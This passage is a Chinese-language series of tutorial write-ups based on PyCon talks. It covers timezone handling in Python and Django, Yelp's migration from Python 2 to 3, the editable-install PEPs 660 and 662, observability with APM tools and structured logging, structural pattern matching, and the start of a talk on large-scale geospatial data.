# 同时安装 tzdata 以确保时区数据可用
# pip install tzdata
1. 获取当前时间和日期
获取当前UTC时间(带时区信息):
from datetime import datetime, timezone
now_utc = datetime.now(timezone.utc)
# 输出: datetime.datetime(2023, 10, 27, 8, 30, 0, 123456, tzinfo=datetime.timezone.utc)
获取特定时区的当前日期:
from zoneinfo import ZoneInfo
eastern = ZoneInfo(“America/New_York”)
now_eastern = datetime.now(eastern)
date_in_eastern = now_eastern.date() # 安全地获取美国东部时区的当前日期
2. 时间输入处理
从组件构造(已知时区):
user_input_dt = datetime(2023, 3, 13, 1, 30, tzinfo=eastern) # 直接附加时区
utc_dt = user_input_dt.astimezone(timezone.utc) # 立即转换为UTC存储
处理“天真”的日期时间(必须附加时区):
naive_dt = datetime(2023, 3, 13, 1, 30) # 假设来自某个库,没有时区
# 在附加时区前,检查它是否是“天真”的
if naive_dt.tzinfo is None:
aware_dt = naive_dt.replace(tzinfo=eastern) # 正确:为“天真”对象附加时区
else:
raise ValueError(“Datetime already has timezone info!”)
utc_dt = aware_dt.astimezone(timezone.utc)
解析ISO 8601字符串:
iso_string = “2023-03-13T01:30:00-05:00” # 包含偏移量
dt_from_iso = datetime.fromisoformat(iso_string) # Python 3.7+
# dt_from_iso 已经是“有时区意识”的(但时区是简单的固定偏移时区)
utc_dt = dt_from_iso.astimezone(timezone.utc) # 转换为UTC
3. 时间输出处理
转换为用户本地时间并格式化:
# 假设 utc_dt 是UTC时间,user_tz 是用户的时区(如 ZoneInfo(“Asia/Tokyo”))
user_local_dt = utc_dt.astimezone(user_tz)
formatted_string = user_local_dt.strftime(“%Y-%m-%d %H:%M:%S %Z”)
从UTC时间获取用户本地日期:
user_local_date = utc_dt.astimezone(user_tz).date()
4. 持续时间与日历算术
正确的持续时间加法(在UTC下进行):
from datetime import timedelta
# 在UTC下进行加法
utc_dt_plus_2h = utc_dt + timedelta(hours=2)
# 需要时再转换回本地时间
local_dt_plus_2h = utc_dt_plus_2h.astimezone(user_tz)
正确的日历日期加法(在日期对象上进行):
from datetime import date, timedelta
user_local_date = utc_dt.astimezone(user_tz).date()
date_plus_120_days = user_local_date + timedelta(days=120) # 直接操作 date 对象
第四部分:Django中的时区处理 🎸
如果你使用Django框架,它提供了一套强大的工具来简化时区处理。
1. 启用时区支持
在 settings.py 中确保以下设置:
USE_TZ = True # 默认在Django 5+为True,请手动设置为True
TIME_ZONE = ‘UTC’ # 项目的默认时区。如果所有用户在同一时区,可设为此处。
2. 处理用户时区
最佳实践是在用户模型上存储其首选时区(如 ”America/New_York”),并通过中间件为每个请求激活该时区。
示例中间件:
import zoneinfo
from django.utils import timezone
class TimezoneMiddleware:
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
if request.user.is_authenticated:
# 假设 user.timezone 存储着类似 “America/New_York” 的字符串
tz_name = request.user.timezone
try:
timezone.activate(zoneinfo.ZoneInfo(tz_name))
except zoneinfo.ZoneInfoNotFoundError:
pass # 回退到默认 TIME_ZONE
else:
timezone.deactivate()
response = self.get_response(request)
return response
将其添加到 MIDDLEWARE 设置中。
3. Django的时区工具
激活时区后,Django会自动帮你做很多转换:
- 模板中自动转换:在模板中渲染一个UTC的
datetime字段时,Django会自动将其转换为当前激活的时区。 - 实用函数:
from django.utils import timezone now_utc = timezone.now() # 返回带UTC时区的当前时间 local_now = timezone.localtime() # 转换为当前激活的时区 local_date = timezone.localdate() # 获取当前激活时区的日期 # 处理输入:将“天真”的datetime变为“有意识”的 naive_dt = datetime(2023, 3, 13, 1, 30) aware_dt = timezone.make_aware(naive_dt, timezone.get_current_timezone()) utc_dt = aware_dt.astimezone(timezone.utc)
Django模型:当 USE_TZ = True 时,Django的 DateTimeField 在数据库中以UTC存储,并在读取时根据当前时区自动处理。
总结
在本教程中,我们一起学习了如何在Python中有效处理时区:
- 避免陷阱:绝不使用“天真”的
datetime,小心now()/today(),在UTC下进行持续时间计算,用zoneinfo替代pytz,正确使用astimezone()而非replace()。 - 遵循模型:确立 “内部用UTC,边界做转换” 的核心原则。所有内部逻辑和存储均使用UTC,仅在接收用户输入和向用户输出时进行时区转换。
- 使用代码:我们演示了如何使用
zoneinfo.ZoneInfo创建时区对象,如何安全地获取、转换、格式化和计算时间。 - 利用框架:在Django中,通过设置
USE_TZ = True、存储用户时区、编写中间件来激活时区,可以极大地简化开发工作,让框架自动处理模板渲染和数据库层面的时区转换。
记住,时区问题不会消失。通过从一开始就采用这些最佳实践,你可以构建出健壮、可维护且全球适用的应用程序。

致谢:感谢 Paul Ganssle 创建了 zoneinfo 模块并将其贡献给 Python 标准库。
023:我们是如何在不打断开发的情况下迁移 3.8 百万行 Python 2 的 🐍


在本教程中,我们将跟随 Yelp 软件工程师本杰明·巴雷托的演讲,学习如何将一个包含 380 万行代码的庞大 Python 2 单体应用,在不中断日常开发的情况下,安全、平稳地迁移到 Python 3。我们将了解迁移的完整阶段、使用的关键工具以及应对各种挑战的策略。
概述:Yelp 主系统与迁移背景

首先,我们来了解一下本次迁移的主角:Yelp 主系统。它是 Yelp 最初的单体代码库,虽然公司后来转向了微服务架构,但这个系统依然承载着大量核心业务逻辑。
Yelp 主系统在生态中扮演着两个关键角色:
- 传统网页渲染:直接处理用户请求,从数据库获取数据,调用后端服务,并渲染完整的 HTML 页面。
- 内部 API 提供者:为更现代的“前端服务”提供 RESTful JSON API,以获取其数据库中的数据。
这个系统规模庞大:
- 代码量:380 万行 Python 代码。
- 测试数量:约 10 万个测试,完整运行一次需约 35 小时。
- 开发活动:约 800 名开发者同时工作,日均 20-30 次代码变更。
- 历史:首次提交于 2004 年。
迁移到 Python 3 的主要驱动力是:关键库(如 PyTest、PIP)将停止支持 Python 2,同时也能获得新语言特性带来的开发效率提升。整个迁移过程必须满足两个核心约束:不能中断正常的产品开发,并且所有更改必须可安全回滚。
迁移的四个阶段与时间线 📅
整个迁移工作被清晰地划分为四个主要阶段,每个阶段都有明确的目标和耗时。


- 可解析性:确保代码能够在 Python 3 解释器下被成功解析。这主要涉及修复基本的语法错误。耗时约2周。
- 可导入性:确保代码能够在 Python 3 环境下被成功导入。这需要处理模块导入和依赖包升级问题。耗时约2个月。
- 功能对等:确保代码在 Python 2 和 Python 3 下的运行时行为完全一致。这是最复杂、最耗时的阶段,核心工作是让海量测试通过。耗时约1年。
- 推出上线:在生产环境中逐步将流量从 Python 2 切换到 Python 3。耗时约2个月。

上一节我们概述了迁移的整体阶段,接下来我们将深入每个阶段,看看具体是如何操作的。

第一阶段:实现可解析性
这个阶段的目标很简单:让 Python 3 解释器能够成功解析我们的所有源代码文件,不出现语法错误。
我们使用了一个强大的自动化工具:python-modernize。它是一个开源工具,能够将仅支持 Python 2 的代码自动转换为同时兼容 Python 2 和 Python 3 的代码。它基于 2to3 库,但会使用 six 这样的兼容层来确保代码在 Python 2 下依然能运行。
以下是 python-modernize 自动修复的一些常见语法问题示例:
- 异常抛出语法:
# Python 2 风格 raise Exception, “error message” # python-modernize 修复后 (兼容 Python 2/3) raise Exception(“error message”) - 异常捕获语法:
# Python 2 风格 except Exception, e: # python-modernize 修复后 (兼容 Python 2/3) except Exception as e:
实际操作中,我们编写脚本遍历所有文件,用 Python 3 尝试解析,为解析失败的文件创建工单,然后逐一修复。这个阶段改动量小,进展迅速。
第二阶段:实现可导入性
在代码能被解析之后,下一步是确保它们能被成功导入。这涉及到更深层次的改动,主要是处理模块导入和第三方依赖。
我们继续使用 python-modernize 来处理标准库导入的变化,例如:
# 修复前
import cPickle as pickle
# python-modernize 修复后 (通过 six.moves 兼容)
from six.moves import cPickle as pickle
但这个阶段大部分工作是处理依赖包:
- 升级第三方包:将依赖包升级到支持 Python 3 的版本。
- 替换废弃包:对于不再维护的包,寻找替代品或直接移除。
- 更新内部包:推动公司内部的其他库升级以支持 Python 3,然后在本项目中更新依赖。
我们采用的方法是:定期运行一个脚本,尝试导入所有文件,收集导入错误的堆栈跟踪,找出根源文件,生成工单并处理。通过这种“分块修复”的方式,我们逐步清除了所有导入障碍。
第三阶段:实现功能对等 🎯


这是迁移中最艰巨的部分。目标是在 Python 3 下运行时,代码的行为与在 Python 2 下完全一致。我们主要通过让所有测试通过来验证这一点。
我们首先搭建了一个并行的 Python 3 虚拟环境,让开发者可以在此环境下验证代码。核心工作流就是:运行测试 -> 分析失败 -> 修复问题。
python-modernize 继续帮助我们自动修复了许多行为差异,例如:
- 字典方法:
dict.items(),dict.values(),dict.keys()在 Python 3 返回视图(view),python-modernize会将其包装在list()中以确保兼容。 __unicode__方法:使用six的垫片(shim)来处理。- 元类(metaclass)语法:使用
six.with_metaclass来兼容。


然而,许多复杂问题需要手动处理:
1. 文本(Text)与字节(Bytes)问题
这是 Python 2/3 迁移中最常见的痛点。Python 2 中字符串(str)和字节(bytes)的模糊界限在 Python 3 中被严格区分。我们严重依赖测试来发现和修复这类隐式转换错误。
2. 真值测试(__nonzero__ vs __bool__)
在 Python 2 中,自定义类的真值由 __nonzero__ 方法决定;在 Python 3 中,则由 __bool__ 方法决定。有些类只定义了前者,导致在 Python 3 的 if 语句中行为异常。修复方法是同时定义这两个方法,或使用 six 兼容。
3. Pickle 缓存兼容性
我们有许多使用 pickle 序列化的缓存。Python 2 和 Python 3 的 pickle 协议不兼容。我们的策略是:
- 将缓存数据迁移到 JSON 格式。
- 采用混合模式:读取时,先尝试读 JSON,失败则回退到读
pickle(并立即将值写回 JSON);写入时,只写 JSON。 - 对于极少数复杂对象,使用不同的缓存键前缀将 Python 2 和 Python 3 的缓存隔离开。
4. 其他杂项修复
contextlib.nested:该 API 在 Python 3 中被移除,我们使用contextlib.ExitStack重写了相关逻辑。- 排序比较函数:Python 2 的
sorted(cmp=...)在 Python 3 中改用key参数。我们利用functools.cmp_to_key进行转换,对于同时需要key和cmp的复杂情况,编写了辅助函数来合并两者。
这个阶段是漫长的“长尾”过程,初期测试通过率提升很快,但最后几个百分点的提升需要花费大量精力去解决那些隐蔽的、影响范围小的边界情况。
第四阶段:推出上线 🚀
当我们对功能对等性充满信心后,便进入了最终的生产环境切换阶段。我们设计了一个精巧的、可精细控制的推出方案。
关键策略是:并行运行,按需切换。
- 我们同时准备了运行相同代码的 Python 2 实例池和 Python 3 实例池。
- 在反向代理层(路由服务),我们根据 URL 路径前缀,将流量导向不同的实例池。
- 我们创建了一个包含所有约 800 个端点前缀的责任表格,与各业务团队协调,逐个前缀进行验证和切换。

这种方式的巨大优势在于安全性和灵活性:
- 如果某个前缀下的功能在 Python 3 中出现问题,我们只需将该前缀的流量切回 Python 2 实例,无需整体回滚。
- 我们可以控制推出的速度和范围,优先切换风险低、重要的功能。

对于后台的批处理任务,由于它们是独立进程,我们可以更直接地逐个将其切换到 Python 3 环境运行。
迁移成果与经验总结 ✅
经过整个迁移项目,我们获得了显著的收益:
- 性能提升:应用运行速度提升了约 15% - 20%。
- 内存优化:内存使用量减少了约 26%。
- 顺利过渡:在整个长达一年多的迁移期内,正常的业务开发和发布没有受到影响。
核心经验总结:
- 自动化工具是关键:
python-modernize和pre-commit钩子自动化了大量机械性转换,保证了代码风格和兼容性的一致性。 - 测试是保障:庞大的测试套件是我们验证功能对等性的基石。让测试通过是贯穿第三阶段的主线。
- 分阶段、分批次推进:将巨大任务分解为可管理的小阶段(解析、导入、功能、上线),并采用分批次修复和推出的策略,降低了复杂度和风险。
- 沟通与协调至关重要:尤其是在推出阶段,提前并持续地与各业务团队沟通,明确责任和时间表,是成功上线的重要一环。
- 投资基础设施回报丰厚:这次迁移不仅解除了技术债务,还直接带来了性能和资源利用率的提升,证明了在基础架构上的投入具有很高的商业价值。

展望未来:通过此次迁移积累的经验和工具,我们已经将 Python 小版本升级(如 3.7 到 3.8)的过程自动化,使得后续的语言升级变得更加顺畅和常规化。


本节课中我们一起学习了如何规划并执行一个超大规模 Python 2 到 3 的迁移项目。我们从评估系统现状开始,明确了不能中断开发和保证安全回滚的核心原则。接着,我们拆解了迁移的四个阶段:可解析性、可导入性、功能对等和推出上线,并深入探讨了每个阶段的目标、工具(尤其是 python-modernize)和挑战(如文本/字节、缓存兼容性)。最后,我们看到了一个通过并行环境和基于URL前缀的精细流量控制来实现平稳上线的巧妙方案。整个历程表明,通过周密的计划、自动化工具和持续的测试验证,即使是最庞大的遗留系统,也能安全、高效地完成现代化升级。
024:如何标准化可编辑安装(PEP 660 与 PEP 662)

概述
在本节课中,我们将要学习Python打包领域中的一个重要主题:可编辑安装的标准化。我们将回顾其历史背景、传统实现方式存在的问题,并深入探讨两个旨在解决这些问题的Python增强提案(PEP)——PEP 660和PEP 662。通过对比它们的核心思想、优缺点以及最终的选择,你将理解为什么标准化过程如此复杂,以及社区最终采纳了哪种方案。
可编辑安装简介
在开发Python库时,开发者需要频繁地测试代码更改。传统的安装方式要求每次修改后都重新安装整个包,这非常低效。
可编辑安装是一种安装模式,它允许你将项目安装到Python环境中,使得对项目源代码的修改能够立即生效,而无需重新运行安装命令。你只需要在修改代码后重启Python解释器即可。
传统实现方式及其问题
上一节我们介绍了可编辑安装的基本概念。本节中我们来看看在PEP 660和PEP 662提出之前,可编辑安装是如何工作的,以及它存在哪些不足。
传统上,使用setuptools的项目可以通过pip install -e .命令进行可编辑安装。这个命令底层会调用python setup.py develop。
这个传统方案的工作原理如下:
- 在项目源目录中生成一个包含项目元数据的
.egg-info文件夹。 - 在Python环境的
site-packages目录中创建一个.pth文件。.pth文件会在Python解释器启动时被执行,其内容是将项目源目录的路径添加到sys.path中,从而使Python能够从源目录直接导入模块。
然而,这个方案存在多个问题:
- 依赖
setup.py:它强制要求项目必须有一个setup.py文件,这与新兴的构建后端(如flit、poetry、hatchling)的哲学相悖。 - 缺乏标准定义:社区从未就“可编辑安装”的精确行为和能力边界达成正式标准。
- 文件包含策略僵化:它会暴露源目录下的所有文件,无法像普通安装那样选择性地包含或排除某些包(如测试文件)。
- 不支持构建时生成的代码:如果项目需要在构建阶段动态生成一些Python文件(例如从协议缓冲区
.proto文件生成),这些文件在可编辑安装模式下不会被创建或包含。 - 对C扩展支持不佳:对于包含C扩展的项目,修改C代码后通常仍需重新安装才能生效,无法实现真正的“可编辑”。
探索中的替代方案
在寻求新标准的过程中,社区探讨了几种改进思路:
以下是几种曾被考虑的替代方案:
- 符号链接:在
site-packages内创建指向项目源目录的符号链接。这解决了.pth文件的启动性能问题,但依然无法处理选择性包含和生成文件的问题。 - 导入钩子:利用Python的导入系统,在导入时动态地从源目录加载模块,甚至可以支持运行时生成代码。这非常灵活,但有一个致命缺点:大多数IDE和静态类型检查器无法理解这种动态导入,导致代码补全和类型检查失效。
构建系统基础
为了理解新的PEP提案,我们需要简要了解Python的现代构建系统。
Python包的构建涉及两个核心角色:
- 构建后端:负责实际执行构建任务的工具,例如
setuptools、hatchling、flit。它知道如何读取项目配置并生成分发文件(如wheel)。 - 构建前端:为用户提供统一接口的工具,例如
pip、build。它的职责是为后端创建一个干净的隔离构建环境,并调用后端定义的API。
它们通过PEP 517定义的API进行协作。两个关键方法是:
get_requires_for_build_wheel:后端告知前端构建wheel需要哪些额外的依赖。build_wheel:后端执行构建并生成wheel文件。
# 这是一个概念性的API示意,并非实际代码
# 构建前端(如 `build` 库)会这样调用后端
def build_wheel(backend, source_dir):
# 1. 创建隔离环境
# 2. 安装后端自身
# 3. 询问并安装构建依赖
# 4. 调用后端的 `build_wheel` 方法
return backend.build_wheel(source_dir)
PEP 660:基于后端的可编辑Wheel方案
上一节我们了解了构建系统的基础。本节中我们来看看第一个解决方案——PEP 660的核心思想。
PEP 660将实现可编辑安装的主要责任赋予了构建后端。它扩展了PEP 517的API,为可编辑模式新增了两个方法:
get_requires_for_build_editablebuild_editable
其工作流程如下:
- 前端为“可编辑构建”创建一个隔离环境。
- 前端安装项目指定的构建后端。
- 前端询问后端构建可编辑wheel所需的依赖并安装。
- 前端调用后端的
build_editable方法。 - 后端生成一个特殊的“可编辑wheel”。这个wheel内部不包含实际的源代码,而是包含能让安装工具(如pip)设置可编辑状态的元数据和文件(例如,一个
.pth文件)。 - 前端(或pip)像安装普通wheel一样安装这个“可编辑wheel”。安装过程会执行wheel内的逻辑(如写入
.pth文件),从而完成可编辑安装。
优点:
- 对安装工具(pip)透明,复用现有安装逻辑。
- 后端拥有完全控制权,可以实现
.pth、导入钩子等多种技术。
缺点:
- 将复杂性完全转移给了后端。
- 未原生定义符号链接等具体实现方式,需要额外PEP扩展。
PEP 662:基于前端的元数据方案
与PEP 660不同,PEP 662提出了一个将更多责任放在构建前端的方案。
PEP 662的核心思想是:后端只需提供一个简单的元数据文件(如JSON),列出项目中需要暴露的模块及其在源目录中的位置。
以下是该方案设想的步骤:
- 前端调用后端的一个新API(如
prepare_editable_metadata)来获取这个元数据文件。 - 前端根据这份元数据,自行决定如何实现可编辑效果。前端可以选择使用符号链接、自定义导入钩子、或复制文件到
site-packages等任何它认为合适的技术。
优点:
- 前端实现更灵活,可以自由选择最优技术(如使用符号链接来提升性能)。
- 后端工作简单,只需列出文件。
缺点:
- 前端实现变得复杂且不统一。
- 元数据格式需要精确设计以覆盖各种复杂情况(如生成文件、C扩展)。
最终决定与经验教训
经过社区讨论和Python打包权威(BDFL-Delegate)Paul Moore的评估,PEP 660被选为最终标准。
主要决策理由:
- 约束更明确:PEP 660为前后端都规定了明确的行为(生成和安装一个wheel),而PEP 662给予前端过多自由,可能导致不同工具行为不一致。
- 兼容性与渐进性:PEP 660复用现有wheel安装路径,对生态冲击更小。后端可以逐步实现支持,例如
hatchling、PDM等后端迅速采纳了该标准。 - 责任清晰:虽然后端负担重,但将核心逻辑放在最了解项目结构的后端中是合理的。
实施后的经验教训:
setuptools由于历史包袱重,更新缓慢,至今未完全支持PEP 660,这反映了迁移旧工具的挑战。- 社区发现,纯粹依赖导入钩子的方案(即使通过PEP 660实现)会对IDE支持不友好,这提示未来的扩展可能需要考虑让后端同时提供静态文件列表以供IDE索引。
总结

本节课中我们一起学习了Python可编辑安装的标准化历程。我们从低效的传统方法出发,探讨了其存在的多种问题。随后,我们深入分析了社区为解决问题而提出的两个竞争性PEP:PEP 660(后端负责生成可编辑wheel)和PEP 662(前端根据后端元数据负责实现)。最终,社区选择了PEP 660作为标准,因为它提供了更明确、更一致的规范,并成功被多个现代构建后端所采纳。这个过程揭示了开源社区在复杂技术决策上的权衡与协作,也为未来打包工具的改进奠定了基础。
025:演讲 - 比安卡·罗莎


概述
在本教程中,我们将学习“可观测性驱动开发”的核心概念。我们将探讨为什么软件会崩溃、如何通过提前规划来避免生产环境中的问题,并介绍使用APM(应用性能监控)工具和良好日志实践来构建可观测系统的具体方法。课程内容基于比安卡·罗莎(Bianca Rosa)在PyCon上的演讲整理,旨在帮助开发者在问题发生前就能洞察系统状态。
章节 1: 引言与问题定义 🎯
大家好。本次演讲在355号房间进行,演讲者是来自巴西里约热内卢的软件开发者比安卡(Bianca),主题是可观测性驱动开发。
软件开发的目的是满足用户或使用者的期望。无论是网页加载、数据处理还是机器学习模型输出,软件都在试图满足某种需求。当软件崩溃无法满足期望时,会导致用户挫折和商业损失。开发者通常会进入紧急的问题解决模式。
我们常常在问题已经于生产环境爆发后,才意识到缺乏足够的数据来诊断问题。这会导致高压的“救火”状态。本教程的核心思想是:我们应该在开发初期就考虑可观测性,以便在生产环境出问题时能快速定位根因。
章节 2: 可观测性基础工具 🛠️
上一节我们介绍了提前规划可观测性的重要性,本节中我们来看看实现可观测性的基础工具。
对于以Web为中心的后端开发,可观测性通常围绕两个核心组件:APM(应用性能监控)工具和日志系统。大多数现代解决方案都同时包含这两者。

以下是市面上一些知名的可观测性工具:
- 开源/商业工具:ELK Stack (Elasticsearch, Logstash, Kibana)、New Relic、Datadog、Honeycomb、Grafana Labs、Splunk。
- 开放标准:OpenTelemetry。这是一个开源的、供应商中立的遥测数据(指标、日志、追踪)收集框架。它允许你将数据导出为标准格式,然后由你选择的工具(如New Relic, Datadog)进行消费和分析,避免被单一供应商锁定。
选择工具时,需要根据你的具体用例、功能需求和偏好(如是否倾向开源)来决定。本教程后续将使用New Relic进行演示,但这仅是出于演示者经验考虑的示例。


章节 3: APM工具实战演示 💻

在了解了基础工具后,我们现在通过一个具体的示例应用,来看看如何集成APM工具。
我们将设置一个最简单的Flask示例应用,并集成New Relic APM。


核心集成步骤(代码描述):
# main.py
import newrelic.agent
newrelic.agent.initialize(‘/path/to/newrelic.ini’)

from flask import Flask
app = Flask(__name__)
# 你的应用路由和逻辑…
以上代码导入了New Relic代理并初始化。集成后,New Relic将自动监控应用中的函数调用、HTTP请求等。
应用启动后,在New Relic控制台可以观察到:
- 事务(Transactions): 所有HTTP请求(GET, POST, PATCH等)及其成功率、响应时间。
- 服务地图(Service Map): 可视化展示应用组件(如Web服务器、数据库)之间的调用关系。
- 追踪(Traces): 对于慢请求,可以查看详细的代码执行路径和每个步骤的耗时。
这个简单的集成能立即提供丰富的运行时洞察,而成本通常只是添加几行代码。
章节 4: 实施良好的日志实践 📝
仅仅有APM工具可能还不够。当用户遇到一个“内部服务器错误”时,APM可能告诉我们“有一个异常”,但无法直接告诉我们“用户试图创建了一个没有description字段的任务”。这时,结构化的日志就至关重要了。
以下是关于良好日志实践的几个核心原则:

- 使用纯文本日志消息: 日志消息本身应是固定的字符串,便于在日志系统中分组和筛选。例如,使用
“Task created”而不是f“Task {task_id} created”。 - 利用“额外字段(Extra Fields)”存储变量: 将动态信息(如
task_id,user_id)作为键值对放入日志的额外字段中。这样既保持了消息的可分组性,又携带了上下文。# 代码描述:使用Python标准logging库的extra参数 logger.info(‘Task created’, extra={‘task_id’: task.id, ‘user’: user.email}) - 为每个请求设置唯一标识符(Request ID/Trace ID): 这个ID应该出现在该请求生命周期内的所有日志条目中。这让你能轻松追踪一个特定请求的所有相关日志,是问题诊断的利器。
- 有意识地使用日志级别:
ERROR: 需要关注的问题。WARNING: 潜在问题。INFO: 生产环境中重要的常规信息(如“用户登录”、“订单创建”)。DEBUG: 仅用于本地开发的详细信息。

许多成熟的Web框架日志处理器(如newrelic.agent.logger)会自动为你注入Trace ID、文件名等额外字段,极大地提升了日志的可追溯性。

章节 5: 诊断性能问题实例 🔍
现在,我们将APM监控和日志结合起来,解决一个实际的性能问题。

假设我们有一个批量更新任务的接口,但性能非常慢。通过New Relic的慢事务追踪(Slow Transaction Trace)功能,我们可以清晰地看到:
- 一次请求包含了50次独立的数据库UPDATE操作。
- 每次更新都伴随一次日志API调用。
根因分析:
- 数据库问题: 代码使用了循环内逐个更新的模式,而非批量更新。
- 日志问题: 同步的日志调用阻塞了请求响应。
解决方案:
- 优化数据库操作: 将循环更新改为单条
批量UPDATE语句。-- 伪代码示例 UPDATE tasks SET status = ‘done’ WHERE id IN (id1, id2, …); - 优化日志操作: 将日志处理器配置为异步模式。这样主线程在写完日志消息后即可继续处理,由后台线程负责将日志发送到远端服务器,不阻塞请求响应。

通过APM工具提供的详细性能剖析数据,复杂的性能瓶颈变得一目了然,修复方向也清晰明确。

总结
在本节课中,我们一起学习了可观测性驱动开发的核心思想与实践方法。
我们从为什么需要可观测性开始,认识到在开发初期就融入可观测性思维,能避免生产环境出事后的手足无措。接着,我们介绍了构建可观测系统的两大支柱:APM工具和结构化日志,并通过一个Flask应用演示了如何快速集成APM监控。
然后,我们深入探讨了良好的日志实践,包括使用纯文本消息、额外字段、请求ID和有意义的日志级别,这些实践能极大提升故障排查效率。最后,我们通过一个性能问题的实例,展示了如何利用APM提供的详细追踪信息,快速定位并解决数据库和日志调用中的性能瓶颈。

记住,可观测性的目标不是增加复杂度,而是通过增加系统的透明度和可理解性,让你在问题影响用户之前就能发现并解决它们,从而构建出更稳定、可靠的软件系统。
026:演讲 - 布兰特·布赫 _ 完美契合 历史、设计、实施和未来


在本教程中,我们将学习Python 3.10引入的结构模式匹配特性。我们将回顾其历史背景、核心设计理念、实现细节,并展望其未来优化方向。本教程旨在帮助初学者理解这一强大工具,并学会如何在自己的代码中应用它。
历史背景:从构想到实现
上一节我们介绍了本教程的概述,本节中我们来看看结构模式匹配这一特性是如何在Python中诞生的。
该特性的起点是Python创始人吉多·范罗苏姆在疫情期间发出的一封电子邮件,提议为Python添加匹配语句。这最终发展成了PEP 622。最初的提案内容庞大,目标受众不明确,因此Python指导委员会要求作者团队进行重写。
于是,提案被拆分为三个独立的PEP,分别面向不同的受众:
- PEP 634:功能规范,主要为语言维护者提供实施细节。
- PEP 635:设计原理说明,向指导委员会阐述该功能的价值和设计决策。
- PEP 636:面向开发者的教程,通过编写一个文本冒险游戏来教授如何使用模式匹配。这是学习该功能最推荐的资料。
整个开发过程在一个公开的GitHub仓库(gvanrossum/patma)中进行协作,包含了问题追踪、草案讨论、原型实现和实际应用测试,所有决策过程都有迹可循。
最终,该提案获得批准,并随Python 3.10版本发布。
核心设计:超越Switch语句
上一节我们回顾了模式匹配的历史,本节中我们来深入探讨其核心设计理念。
首先需要明确一个关键概念:结构模式匹配不是Switch语句。虽然外观相似,但其能力远不止于此。将其简单视为Switch语句会限制其潜力并可能导致困惑。
结构模式匹配的本质是控制流与解构的结合。
- 控制流:根据数据的值或“形状”(如序列长度)进行分支。
- 解构:将结构化数据(如序列、映射、对象)拆解为独立部分。
结构模式匹配允许你在分支的同时进行解构,或者在解构的同时进行分支,从而形成一种强大的声明式编程风格。
初识匹配语句
以下是匹配语句的基本语法:
match meal:
case [entree, side]:
print(f“主菜是{entree},配菜是{side}。”)
match 后跟一个表达式(称为“主题”),case 后跟一个模式(而非普通表达式)。上面的 [entree, side] 是一个序列模式,它尝试将 meal 匹配为一个长度为2的序列,并将元素分别绑定到变量 entree 和 side。entree 和 side 被称为捕获模式。
基础模式类型
以下是几种基础模式:
-
通配符模式:使用单个下划线
_匹配任何值但不进行绑定(即忽略该值)。match meal: case [_, side]: print(f“配菜是{side}。”) -
值模式:使用字面量(字符串、整数、布尔值、
None等)进行基于相等性的匹配。match meal: case [“spam“, side]: print(f“主菜是spam,配菜是{side}。”) -
或模式:使用
|匹配多个模式之一。match meal: case [“spam“ | “eggs“, side]: print(f“主菜是spam或eggs,配菜是{side}。”)
更强大的模式
结构模式匹配还支持更复杂的模式,这也是其强大之处:
- 映射模式:用于解构字典等映射类型。
- 类模式:用于解构对象实例,根据对象的类及其属性值进行匹配。这是实现运行时类型参数化的强大工具,特别适用于处理AST(抽象语法树)或复杂数据结构(如红黑树)。
- 守卫:在
case语句中使用if添加任意条件判断。
这些模式的设计借鉴了函数式编程语言约50年的实践经验(如Haskell、OCaml、Rust、Scala),但最终形态力求符合Python的风格。
实现细节:编译器如何工作
上一节我们了解了模式匹配的设计与语法,本节中我们来看看Python编译器是如何实现它的。
一个重要的实现特性是 match 和 case 是软关键字。这意味着在Python 3.10及以后版本中,它们仅在 match 语句的上下文中被视为关键字。你现有的使用 match 或 case 作为变量名或函数名的代码不会因此被破坏,保持了完全的向后兼容性。
从编译器的角度看,将模式匹配作为原生语法特性,使得编译器能深度理解代码意图,并生成高度优化的字节码。
例如,一个匹配序列长度的操作,编译器会使用专门的 MATCH_SEQUENCE 和 GET_LEN 等操作码,这些操作码在C语言层面执行快速的类型标志检查和长度查询,其效率远高于等效的纯Python代码(如多次调用 isinstance() 和 len())。
这种优化是库或装饰器无法实现的,它体现了原生语法特性的价值:开发者可以信任编译器为声明式的模式匹配代码生成高效的底层指令。
未来展望:优化与改进
上一节我们探讨了当前的实现,本节中我们展望一下该特性未来可能的优化方向。
未来的一个主要优化方向是 决策树优化。目前,每个 case 分支是独立编译和依次尝试的,这可能导致冗余检查。
考虑以下代码:
match meal:
case [“spam“, side]:
...
case [“eggs“, side]:
...
case [_, side]:
...
当前编译器会三次检查 meal 是否为序列以及其长度是否为2。优化后的编译器可以合并这些重叠检查:首先检查是否为长度为2的序列,然后根据第一个元素的值进行分支,最后再绑定 side 变量。这种优化能显著提升性能。
决策树优化还能带来更好的 可达性分析。编译器可以检测出永远不会被匹配到的 case 分支(例如,由于前面的模式已经覆盖了所有情况),并可能在未来版本中提供警告,帮助开发者避免逻辑错误。
总结
本节课中我们一起学习了Python的结构模式匹配。
我们从其诞生历史开始,了解了它如何从PEP 622演变为三个独立的PEP。我们明确了其核心设计是控制流与解构的结合,而非简单的Switch语句。我们学习了基础的模式类型,如序列模式、捕获模式、通配符模式和值模式,并提及了更强大的映射模式、类模式和守卫。
我们还探讨了其实现细节,包括软关键字的作用以及编译器如何生成优化字节码。最后,我们展望了未来可能的决策树优化和可达性检查改进。


要深入掌握这一特性,强烈建议阅读 PEP 636 教程。结构模式匹配为处理复杂数据结构和控制流提供了全新、清晰且强大的范式,值得你在合适的场景中尝试和应用。
027:谁说在规模上处理地理数据很简单


在本节课中,我们将学习如何高效地处理大规模地理空间数据。我们将探讨矢量与栅格两种主要数据格式,并介绍一系列强大的Python工具,如GeoPandas、Xarray、Dask和Numba,它们能帮助我们在单机或集群上实现数据的垂直与水平扩展。课程将涵盖从数据格式选择到具体库使用的核心概念,旨在为初学者提供清晰、实用的指导。
演讲者与背景介绍
大家好。本次演讲由布伦丹·柯林斯带来,主题是“谁说在规模上处理地理数据很简单”。


感谢PyCon 2022的组织者举办这次活动。这是我在PyCon的首次演讲。特别感谢来自自然保护协会的克里斯·斯凯诺,他在2008年借给我《PyCon傻瓜书》并耐心指导我编写最初的PyCon函数。
我在一家名为Blue Raster的公司工作时,接触到了地理空间数据,并认识到空间思维对组织的力量。我的职业生涯建立在地理空间数据领域,得益于许多人的工作。
特别感谢彼得·王、特拉维斯·奥拉芬特、马特·洛克林以及布莱恩·范迪万,他们指导我,并向我展示了无需将重要工具锁在专有许可证后的商业模式。
案例展示:GPU加速的地理空间分析
我想以一个例子开始。这是一个针对地理空间数据的垂直扩展解决方案。
